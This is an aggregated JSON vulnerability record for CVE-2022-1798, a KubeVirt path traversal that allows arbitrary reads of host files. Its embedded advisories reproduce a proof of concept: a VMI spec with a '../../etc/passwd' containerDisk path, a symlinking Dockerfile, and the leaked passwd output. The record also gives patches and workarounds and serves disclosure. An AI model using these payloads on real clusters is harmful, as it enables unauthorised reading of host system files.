{"id":"CVE-2022-1798","aliases":["AZL-10974","EUVD-2022-6544","GHSA-cvx8-ppmc-78hm","GHSA-qv98-3369-g364","GO-2022-1000","SUSE-SU-2022:3321-1","SUSE-SU-2022:3333-1"],"status":"published","title":"Path Traversal vulnerability in Kubevirt","description":"A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.","severity":{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00376,"percentile":0.31828,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-22"],"published":"2022-08-18T19:02:18Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"Go","package":"kubevirt.io/kubevirt","fixed_in":["0.55.1"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:2","package":"kubevirt","fixed_in":["0.55.1-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"kubevirt.io/kubevirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.20.0"},{"fixed":"0.55.1"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"kubevirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.55.1-1"}]}]},{"source":"osv","ecosystem":"Go","package":"kubevirt.io/kubevirt","ranges":[{"type":"SEMVER","events":[{"introduced":"0.20.0"},{"fixed":"0.55.1"}]}]},{"source":"osv","ecosystem":"Go","package":"kubevirt.io/kubevirt","ranges":[{"type":"SEMVER","events":[{"introduced":"0.20.0"},{"fixed":"0.55.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Containers 15 SP3","package":"kubevirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.49.0-150300.8.13.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 15.3","package":"kubevirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.49.0-150300.8.13.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Containers 15 SP4","package":"kubevirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.54.0-150400.3.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 15.4","package":"kubevirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.54.0-150400.3.3.2"}]}],"bundled":3}],"products":[{"vendor":"google llc","product":"kubevirt"},{"vendor":"kubevirt","product":"kubevirt"}],"references":[{"url":"https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qv98-3369-g364","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Mitigation","Patch","Third Party Advisory","advisory","web"]},{"url":"https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-1798","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-cvx8-ppmc-78hm"},{"url":"https://github.com/kubevirt/kubevirt/pull/8198","tags":["web"]},{"url":"https://github.com/kubevirt/kubevirt/pull/8268","tags":["web"]},{"url":"https://github.com/advisories/GHSA-qv98-3369-g364"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/1xxx/CVE-2022-1798.json","tags":["advisory"]},{"url":"https://github.com/kubevirt/kubevirt","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2022/suse-su-20223321-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1199392","tags":["report"]},{"url":"https://bugzilla.suse.com/1199460","tags":["report"]},{"url":"https://bugzilla.suse.com/1199603","tags":["report"]},{"url":"https://bugzilla.suse.com/1200528","tags":["report"]},{"url":"https://bugzilla.suse.com/1202516","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2022-1798","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2022-1996","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2022-29162","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2022/suse-su-20223333-1/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2022-1798","title":"Path Traversal vulnerability in Kubevirt","description":"A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.","status":"published","published":"2022-09-15T15:45:12Z","modified":"2025-04-21T13:49:58.573Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:34:38.581997Z"}],"euvd":[{"id":"EUVD-2022-6544","description":"A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.","status":"published","published":"2022-09-15T15:45:12Z","modified":"2025-04-21T13:49:58Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T20:52:18.663123Z"}],"ghsa":[{"id":"GHSA-cvx8-ppmc-78hm","title":"Duplicate Advisory: KubeVirt arbitrary host file read from the VM","description":"## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-qv98-3369-g364](https://github.com/advisories/GHSA-qv98-3369-g364). This link is maintained to preserve external references.\n\n## Original Description\n\n**Summary**\nAs part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified.  Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.\n\nThe read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.\n\n**Severity**\n\nModerate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.\n\n**Proof of Concept**\n\nThe initial VMI specifications can be written as such to reproduce the issue:\n\n```\n\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  name: vmi-fedora\nspec:\n  domain:\n    devices:\n      disks:\n      - disk:\n          bus: virtio\n        name: containerdisk\n      - disk:\n          bus: virtio\n        name: cloudinitdisk\n      - disk:\n          bus: virtio\n        name: containerdisk1\n      rng: {}\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n    name: containerdisk\n  - containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n      path: test3/../../../../../../../../etc/passwd\n    name: containerdisk1\n  - cloudInitNoCloud:\n      userData: |\n        #!/bin/sh\n        echo 'just something to make cirros happy'\n    name: cloudinitdisk\n\n\n```\nThe VMI can then be started through kubectl apply -f vm-test-ncc.yaml.\nThe requested file is accessible once the VM is up and can be accessed under /dev/vdc.\n\nDepending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure.\nRestrictions \n\nSELinux may mitigate this vulnerability.\n\nWhen using a node with selinux, selinux denies the access and the VM start was aborted:\n\n```\n\n19s         Warning   SyncFailed                virtualmachineinstance/vmi-fedora    server error. command SyncVMI failed: \"preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied\"\n\ntype=AVC msg=audit(1651828898.296:1266): avc:  denied  { setattr } for  pid=44402 comm=\"rpc-worker\" name=\"passwd\" dev=\"vda1\" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1\n\n```\n\nAfter making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:\n\n```\n\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n\n```\n\n**Further Analysis**\nIn order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go\n\n**Timeline**\nDate reported: 05/10/2022\nDate fixed: N/A\nDate disclosed: 08/08/2022","status":"withdrawn","published":"2022-08-18T19:02:18Z","modified":"2023-04-03T18:55:00Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:36:49.768564Z"},{"id":"GHSA-qv98-3369-g364","title":"KubeVirt vulnerable to arbitrary file read on host","description":"### Impact\n\nUsers with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:\n\n1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`.\n\nExample:\n\n```yaml\napiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)\nkind: VirtualMachineInstance\nmetadata:\n  name: vmi-fedora\nspec:\n  domain:\n    devices:\n      disks:\n      - disk:\n          bus: virtio\n        name: containerdisk\n      - disk:\n          bus: virtio\n        name: cloudinitdisk\n      - disk:\n          bus: virtio\n        name: containerdisk1\n      rng: {}\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - containerDisk:\n      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)\n    name: containerdisk\n  - containerDisk:\n      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)\n      path: test3/../../../../../../../../etc/passwd\n    name: containerdisk1\n  - cloudInitNoCloud:\n      userData: |\n        #!/bin/sh\n        echo 'just something to make cirros happy'\n    name: cloudinitdisk\n```\n\n2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:\n\n```Dockerfile\nFROM \u003canybase\u003e\nRUN mkdir -p /etc/ \u0026\u0026 touch /etc/passwd\nRUN mkdir -p /disks/ \u0026\u0026 ln -s /etc/passwd /disks/disk.img\n```\n\n3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.\n\nIn all three cases it is then possible to at lest read any host file:\n\n```\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n```\n\n\n### Patches\n\nKubeVirt 0.55.1 provides patches to fix the vulnerability.\n\n\n### Workarounds\n\n* Ensure that the `HotplugVolumes` feature-gate is disabled\n* ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.|\n* Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).\n\n### References\n\n\nDisclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm\n\n### For more information\n\nFor interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:\n\n * https://github.com/kubevirt/kubevirt/pull/8198\n * https://github.com/kubevirt/kubevirt/pull/8268\n \n### Credits\nOliver Brooks and James Klopchic of NCC Group\nDiane Dubois and Roman Mohr of Google\n","status":"published","published":"2022-09-15T03:20:35Z","modified":"2023-04-11T05:01:14Z","updated_at":"2026-11-02T14:36:50.476488Z"}],"nvd":[{"id":"CVE-2022-1798","description":"A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.","status":"published","published":"2022-09-15T16:15:10.107Z","modified":"2026-06-17T04:23:07.93Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T14:07:28.118799Z"}],"osv":[{"id":"AZL-10974","title":"CVE-2022-1798 affecting package kubevirt for versions less than 0.55.1-1","description":"A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.","status":"published","published":"2022-09-15T16:15:10Z","modified":"2026-04-21T04:21:42.381182Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:28:02.044071Z"},{"id":"CVE-2022-1798","title":"Path Traversal vulnerability in Kubevirt","description":"A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.","status":"published","published":"2022-09-15T15:45:12Z","modified":"2026-10-28T02:30:48.325700634Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","level":"high"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:44:23.245966Z"},{"id":"GHSA-cvx8-ppmc-78hm","title":"Duplicate Advisory: KubeVirt arbitrary host file read from the VM","description":"## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-qv98-3369-g364](https://github.com/advisories/GHSA-qv98-3369-g364). This link is maintained to preserve external references.\n\n## Original Description\n\n**Summary**\nAs part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified.  Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.\n\nThe read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.\n\n**Severity**\n\nModerate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.\n\n**Proof of Concept**\n\nThe initial VMI specifications can be written as such to reproduce the issue:\n\n```\n\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  name: vmi-fedora\nspec:\n  domain:\n    devices:\n      disks:\n      - disk:\n          bus: virtio\n        name: containerdisk\n      - disk:\n          bus: virtio\n        name: cloudinitdisk\n      - disk:\n          bus: virtio\n        name: containerdisk1\n      rng: {}\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n    name: containerdisk\n  - containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n      path: test3/../../../../../../../../etc/passwd\n    name: containerdisk1\n  - cloudInitNoCloud:\n      userData: |\n        #!/bin/sh\n        echo 'just something to make cirros happy'\n    name: cloudinitdisk\n\n\n```\nThe VMI can then be started through kubectl apply -f vm-test-ncc.yaml.\nThe requested file is accessible once the VM is up and can be accessed under /dev/vdc.\n\nDepending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure.\nRestrictions \n\nSELinux may mitigate this vulnerability.\n\nWhen using a node with selinux, selinux denies the access and the VM start was aborted:\n\n```\n\n19s         Warning   SyncFailed                virtualmachineinstance/vmi-fedora    server error. command SyncVMI failed: \"preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied\"\n\ntype=AVC msg=audit(1651828898.296:1266): avc:  denied  { setattr } for  pid=44402 comm=\"rpc-worker\" name=\"passwd\" dev=\"vda1\" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1\n\n```\n\nAfter making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:\n\n```\n\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n\n```\n\n**Further Analysis**\nIn order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go\n\n**Timeline**\nDate reported: 05/10/2022\nDate fixed: N/A\nDate disclosed: 08/08/2022","status":"withdrawn","published":"2022-08-18T19:02:18Z","modified":"2026-09-10T03:50:07.106472474Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"GHSA-qv98-3369-g364","title":"KubeVirt vulnerable to arbitrary file read on host","description":"### Impact\n\nUsers with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:\n\n1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`.\n\nExample:\n\n```yaml\napiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)\nkind: VirtualMachineInstance\nmetadata:\n  name: vmi-fedora\nspec:\n  domain:\n    devices:\n      disks:\n      - disk:\n          bus: virtio\n        name: containerdisk\n      - disk:\n          bus: virtio\n        name: cloudinitdisk\n      - disk:\n          bus: virtio\n        name: containerdisk1\n      rng: {}\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - containerDisk:\n      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)\n    name: containerdisk\n  - containerDisk:\n      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)\n      path: test3/../../../../../../../../etc/passwd\n    name: containerdisk1\n  - cloudInitNoCloud:\n      userData: |\n        #!/bin/sh\n        echo 'just something to make cirros happy'\n    name: cloudinitdisk\n```\n\n2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:\n\n```Dockerfile\nFROM \u003canybase\u003e\nRUN mkdir -p /etc/ \u0026\u0026 touch /etc/passwd\nRUN mkdir -p /disks/ \u0026\u0026 ln -s /etc/passwd /disks/disk.img\n```\n\n3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.\n\nIn all three cases it is then possible to at lest read any host file:\n\n```\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n```\n\n\n### Patches\n\nKubeVirt 0.55.1 provides patches to fix the vulnerability.\n\n\n### Workarounds\n\n* Ensure that the `HotplugVolumes` feature-gate is disabled\n* ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.|\n* Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).\n\n### References\n\n\nDisclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm\n\n### For more information\n\nFor interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:\n\n * https://github.com/kubevirt/kubevirt/pull/8198\n * https://github.com/kubevirt/kubevirt/pull/8268\n \n### Credits\nOliver Brooks and James Klopchic of NCC Group\nDiane Dubois and Roman Mohr of Google\n","status":"published","published":"2022-09-15T03:20:35Z","modified":"2026-09-10T03:50:07.601425868Z","updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"GO-2022-1000","title":"KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt","description":"KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt","status":"published","published":"2024-08-21T16:03:24Z","modified":"2026-03-13T21:57:16.907888Z","updated_at":"2026-11-02T15:47:00.918515Z"},{"id":"SUSE-SU-2022:3321-1","title":"Security update for kubevirt, virt-api-container, virt-controller-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container","description":"This update for kubevirt, virt-api-container, virt-controller-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container fixes the following issues:\n\nSecurity issues fixed:\n\n- CVE-2022-1798: Fix arbitrary file read on the host from KubeVirt VMs (bsc#1202516)\n\nSecurity issues fixed in vendored dependencies:\n\n- CVE-2022-1996: Fixed go-restful CORS bypass (bsc#1200528)\n- CVE-2022-29162: Fixed runc incorrect handling of inheritable capabilities in default configuration (bsc#1199460)\n\nOther fixes:\n\n- Pack nft rules and nsswitch.conf for virt-handler\n- Only create 1MiB-aligned disk images (bsc#1199603)\n- Avoid to return nil failure message\n- Use semantic equality comparison\n- Allow to configure utility containers for update test\n- Install nftables to manage network rules\n- Install tar to allow kubectl cp ...\n- Symlink nsswitch.conf and nft rules to proper locations\n- Enable USB redirection support for QEMU\n- Install vim-small instread of vim\n- Drop libvirt-daemon-driver-storage-core\n- Install ethtool and gawk (bsc#1199392)\n- Use non-versioned appliance to avoid redundant rpm query\n- Explicitly state the dependency on kubevirt main package\n","status":"published","published":"2022-09-20T15:19:24Z","modified":"2026-02-04T03:04:14.618096Z","updated_at":"2026-11-02T15:53:51.440565Z"},{"id":"SUSE-SU-2022:3333-1","title":"Security update for kubevirt, virt-api-container, virt-controller-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container","description":"This update for kubevirt, virt-api-container, virt-controller-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container fixes the following issues:\n\nThe kubevirt stack was updated to version 0.54.0\n\nRelease notes https://github.com/kubevirt/kubevirt/releases/tag/v0.54.0\n\nSecurity fixes:\n\n- CVE-2022-1798: Fix arbitrary file read on the host from KubeVirt VMs (bsc#1202516)\n\nSecurity fixes in vendored dependencies:\n\n- CVE-2022-1996: Fixed go-restful CORS bypass bsc#1200528)\n- CVE-2022-29162: Fixed runc incorrect handling of inheritable capabilities in default configuration (bsc#1199460)\n\n- Fix containerdisk unmount logic\n- Support topology spread constraints\n- Update libvirt-go to fix memory leak\n- Pack nft rules and nsswitch.conf for virt-handler\n- Only create 1MiB-aligned disk images (bsc#1199603)\n- Avoid to return nil failure message\n- Use semantic equality comparison\n- Drop kubevirt-psp-caasp.yaml\n- Allow to configure utility containers for update test\n- Symlink nsswitch.conf and nft rules to proper locations\n- Drop unused package libvirt-client\n- Install vim-small instead of vim\n- Remove unneeded libvirt-daemon-driver-storage-core\n- Install missing packages ethtool and gawk. Fixes bsc#1199392\n","status":"published","published":"2022-09-22T06:46:45Z","modified":"2026-02-04T02:46:07.167629Z","updated_at":"2026-11-02T15:53:51.440565Z"}]}}